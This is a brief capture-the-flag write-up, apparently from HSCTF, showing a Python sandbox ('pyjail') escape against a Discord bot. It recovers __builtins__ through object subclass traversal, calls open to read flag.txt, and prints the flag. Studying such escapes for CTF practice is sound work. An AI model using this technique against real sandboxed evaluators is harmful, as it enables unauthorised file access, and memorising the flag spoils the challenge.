Retrieve __builtins__:
```
__builtins__ = [t for t in ().__class__.__bases__[0].__subclasses__() if 'warning' in t.__name__][0]()._module.__builtins__
```

Now we can use the open function to read the flag:
```
__builtins__['print']('H4H4 PWNED BY TOMER!')
return __builtins__['open']('flag.txt', 'r').read()
```

And there it is:
```
H4H4 PWNED BY TOMER!
hsctf{discord_bot_pyjail_owo}
```